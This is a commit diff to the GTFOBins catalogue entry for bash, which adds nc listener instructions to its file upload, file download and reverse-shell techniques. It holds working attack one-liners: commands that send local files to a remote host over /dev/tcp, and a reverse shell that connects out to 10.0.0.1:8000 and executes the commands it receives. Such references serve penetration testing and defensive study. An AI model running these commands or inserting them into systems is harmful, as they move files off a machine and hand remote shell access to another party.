Add nc and bash other end commands

_gtfobins/bash.md

@@ -7,13 +7,13 @@ functions:
   suid-enabled:
     - code: ./bash -p
   upload:
-    - description: Send local file in the body of an HTTP POST request.
+    - description: Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file from the other end.
       code: |
         RHOST=10.0.0.1
         RPORT=8000
         LFILE=file_to_send
         echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
-    - description: Send local file using a TCP connection.
+    - description: Send local file using a TCP connection. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end.
       code: |
         RHOST=10.0.0.1
         RPORT=8000
@@ -26,15 +26,16 @@ functions:
         RPORT=8000
         LFILE=file_to_get
         (echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
-    - description: Fetch remote file using a TCP connection.
+    - description: Fetch remote file using a TCP connection. Run `nc -l -p 8000 < "file_to_send"` to send the file from the other end.
       code: |-
         RHOST=10.0.0.1
         RPORT=8000
         LFILE=file_to_get
-        bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1 > $LFILE
+        cat < /dev/tcp/$RHOST/$RPORT > $LFILE
   reverse-shell:
-    - code: |
-        RHOST=127.0.0.1 
+    - description: Run `nc -l -p 8000` to receive the shell on the other end.
+      code: |
+        RHOST=10.0.0.1
         RPORT=8000
         exec 5<&-;exec 5<>/dev/tcp/$RHOST/$RPORT;while read line 0<&5; do $line 2>&5 >&5; done
 ---